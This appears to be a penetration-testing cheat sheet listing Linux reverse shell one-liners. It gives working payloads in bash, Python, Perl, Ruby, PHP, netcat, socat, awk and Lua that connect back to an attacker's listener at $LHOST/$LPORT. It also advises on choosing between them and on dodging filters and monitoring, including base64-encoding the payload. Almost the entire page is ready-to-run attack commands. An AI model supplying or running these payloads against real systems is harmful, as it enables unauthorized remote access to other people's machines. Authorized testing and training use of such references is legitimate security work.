Skip to content

Linux Reverse Shell Payloads and One-Liners

4 min read Created Mar 15, 2026 Last updated Aug 11, 2026

When you have command execution on a target: through a web vulnerability, a service exploit, a cron job injection, or any other vector: these payloads turn that execution into a shell. All examples use $LHOST and $LPORT as your attacker IP and listener port.

Start your listener before sending any payload:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

After catching the shell, stabilize it before doing anything else. See Shell Stabilization and TTY Upgrade.

Reverse shells

The most reliable option when bash is the executing shell. Try /dev/tcp first: it is built into bash and leaves no extra process.

user@host ~ $ bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1

If that fails due to restricted bash or shell interpretation issues, use the read/write file descriptor form:

user@host ~ $ exec 5<>/dev/tcp/$LHOST/$LPORT; cat <&5 | while read line; do $line 2>&5 >&5; done

When the payload runs inside a context that strips special characters (HTML forms, JSON fields, XML), wrap it:

user@host ~ $ bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'

Works on nearly every modern Linux system. Python 3 first, fall back to Python 2 if needed.

user@host ~ $ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$LHOST",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
user@host ~ $ # or
user@host ~ $ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$LHOST",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

Perl is present on most Linux distributions even when Python is not.

user@host ~ $ perl -e 'use Socket;$i="$LHOST";$p=$LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
user@host ~ $ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("$LHOST","$LPORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Use when you have execution through a web application context or a PHP file.

user@host ~ $ php -r '$sock=fsockopen("$LHOST",$LPORT);exec("/bin/bash -i <&3 >&3 2>&3");'

If exec is disabled, try shell_exec or system:

user@host ~ $ php -r '$sock=fsockopen("$LHOST",$LPORT);shell_exec("/bin/bash -i <&3 >&3 2>&3");'

Works when a netcat binary with -e support is present. Many modern installs ship OpenBSD netcat which drops -e.

user@host ~ $ nc -e /bin/bash $LHOST $LPORT

For OpenBSD netcat or any netcat without -e, use the mkfifo pipe method instead.

Works with any netcat variant. Reliable fallback when bash /dev/tcp and -e are both unavailable.

user@host ~ $ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc $LHOST $LPORT >/tmp/f

The pipe name /tmp/f is arbitrary. Change it if /tmp is noisy or monitored.

Produces a cleaner shell than netcat. Requires socat on the target. If it is not installed, transfer a static binary.

user@host ~ $ socat tcp-connect:$LHOST:$LPORT exec:'bash -li',pty,stderr,setsid,sigint,sane

This gives a near-fully interactive shell without the stty raw steps needed for other methods.

Useful when the execution context only allows AWK: common in restricted command injection scenarios.

user@host ~ $ awk 'BEGIN {s = "/inet/tcp/0/$LHOST/$LPORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
user@host ~ $ lua -e "require('socket');require('os');t=socket.tcp();t:connect('$LHOST','$LPORT');os.execute('/bin/bash -i <&3 >&3 2>&3');"

Choosing the Right Payload

Most command injection and RCE scenarios on Linux resolve with the bash /dev/tcp one-liner or the Python socket payload. Use the mkfifo method when neither works. Use socat when you want the cleanest shell and can transfer the binary.

Quick selection guide:

  • Bash /dev/tcp: best default, no dependencies, works in most shells
  • Python socket: reliable fallback, available on nearly every modern distro
  • mkfifo + netcat: works with any netcat variant when bash and Python are unavailable
  • Socat: cleanest interactive shell, requires binary on target
  • Perl/Ruby/PHP/Lua: niche cases where only that interpreter is present

If the execution context URL-encodes or strips characters, encode the payload in base64 and decode it on execution:

user@host ~ $ echo 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' | base64

Then execute it on the target:

user@host ~ $ echo <BASE64STRING> | base64 -d | bash

This avoids issues with &, >, and / being interpreted or stripped by intermediary systems.